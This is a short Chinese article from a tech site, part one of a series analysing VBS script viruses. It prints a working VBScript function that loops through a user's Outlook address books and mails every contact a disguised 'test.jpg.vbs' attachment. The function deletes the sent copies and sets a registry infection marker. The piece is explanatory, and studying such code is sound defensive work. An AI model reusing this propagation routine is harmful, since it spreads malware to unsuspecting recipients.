VBS脚本病毒原理分析及防范(1)

http://tech.ddvip.com   2006年07月03日    社区交流 收藏本文

本文详细介绍VBS脚本病毒原理分析及防范(1)

  1)通过Email附件传播

  这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。

  下面我们具体分析一下VBS脚本病毒是如何做到这一点的:

  Function mailBroadcast()
  on error resume next
  wscript.echo
  Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
  If outlookApp= "Outlook" Then
   Set mapiObj=outlookApp.GetNameSpace("MAPI") //获取MAPI的名字空间
   Set addrList= mapiObj.AddressLists        //获取地址表的个数
   For Each addr In addrList
   If addr.AddressEntries.Count <> 0 Then
   addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
   For addrEntIndex= 1 To addrEntCount   //遍历地址表的Email地址
    Set item = outlookApp.CreateItem(0)   //获取一个邮件对象实例
    Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址
    item.To = addrEnt.Address           //填入收信人地址    item.Subject = "病毒传播实验"  //写入邮件标题
    item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容
    Set attachMents=item.Attachments //定义邮件附件
    attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
    item.DeleteAfterSubmit = True   //信件提交后自动删除
    If item.To <> "" Then 
    item.Send           //发送邮件
    shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
    End If
   Next
 End If
 Next
End if
End Function

责编:豆豆技术应用

正在加载评论...